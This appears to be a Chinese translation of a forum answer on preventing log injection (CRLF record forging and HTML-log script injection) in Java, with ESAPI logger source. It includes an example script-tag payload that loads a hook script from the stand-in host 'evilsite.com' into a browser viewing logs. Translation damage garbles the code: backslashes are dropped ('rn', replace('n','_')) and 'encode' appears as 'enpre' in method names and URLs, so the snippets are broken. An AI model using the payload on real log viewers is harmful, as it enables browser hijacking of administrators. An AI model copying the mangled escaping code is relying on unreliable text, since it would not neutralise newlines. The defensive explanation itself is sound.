有什么方法可以解决此漏洞而无需将记录器更改为ESAPI?
简而言之,是的。
TLDR:
首先了解错误的严重性。主要关注的是伪造日志记录。假设您有这样的代码:
log.error( transactionId + " for user " + username + " was unsuccessful."
如果任何一个变量都在用户控制下,则它们可以通过使用输入来注入错误的日志记录语句,例如
rn for user foobar wassuccessfulrn允许它们伪造日志并覆盖其记录。(嗯,在这种人为的情况下,只是让它变得很难看清楚发生了什么。)
第二种攻击方式更多是象棋动作。许多日志都是HTML格式的,可以在另一个程序中查看,在这个示例中,我们假设日志是要在浏览器中查看的HTML文件。现在我们进行注入
<scriptsrc=”https://evilsite.com/hook.js”type=”text/javascript”></script>,您将在浏览器上安装了一个漏洞利用框架,该漏洞利用框架很可能以服务器管理员的身份执行…因为它怀疑CEO是否会读取日志。现在可以开始真正的破解了。
防御:
一种简单的防御方法是确保所有带有用户输入的日志语句都以明显的字符(例如“֎”)转义字符“ n”和“
r”,或者您可以执行ESAPI的操作并使用下划线转义。只要保持一致就没有关系,请记住不要使用会使您困惑的字符集。就像是
userInput.replaceAll("r","֎").replaceAll("n", "֎");我还发现确保精确指定日志格式很有用…意味着您要确保对日志语句的外观和构造格式具有严格的标准,从而更容易捕获恶意用户。所有程序员都必须提交聚会并遵循格式!
为了抵御HTML场景,我将使用[OWASP编码器项目] [1]
至于为什么建议使用ESAPI,它是一个经过反复考验的库,但总的来说,这就是我们要做的。看代码:
private void log(Level level, EventType type, String message, Throwable throwable) { // Check to see if we need to log. if (!isEnabledFor(level)) { return; } // ensure there's something to log if (message == null) { message = ""; } // ensure no CRLF injection into logs for forging records String clean = message.replace('n', '_').replace('r', '_'); if (ESAPI.securityConfiguration().getLogEncodingRequired()) { clean = ESAPI.enprer().enpreForHTML(message); if (!message.equals(clean)) { clean += " (Enpred)"; } } // log server, port, app name, module name -- server:80/app/module StringBuilder appInfo = new StringBuilder(); if (ESAPI.currentRequest() != null && logServerIP) { appInfo.append(ESAPI.currentRequest().getLocalAddr()).append(":").append(ESAPI.currentRequest().getLocalPort()); } if (logAppName) { appInfo.append("/").append(applicationName); } appInfo.append("/").append(getName()); //get the type text if it exists String typeInfo = ""; if (type != null) { typeInfo += type + " "; } // log the message // Fix for https://pre.google.com/p/owasp-esapi-java/issues/detail?id=268 // need to pass callerFQCN so the log is not generated as if it were always generated from this wrapper class log(Log4JLogger.class.getName(), level, "[" + typeInfo + getUserInfo() + " -> " + appInfo + "] " + clean, throwable);}参见第398-453行。这就是ESAPI提供的所有转义。我建议也复制单元测试。
[免责声明]:我是ESAPI的项目共同负责人。
[1]:https://www.owasp.org/index.php/OWASP_Java_Enprer_Project,并确保在进入记录语句时对输入进行正确的编码-
与将输入发送回用户时一样多。



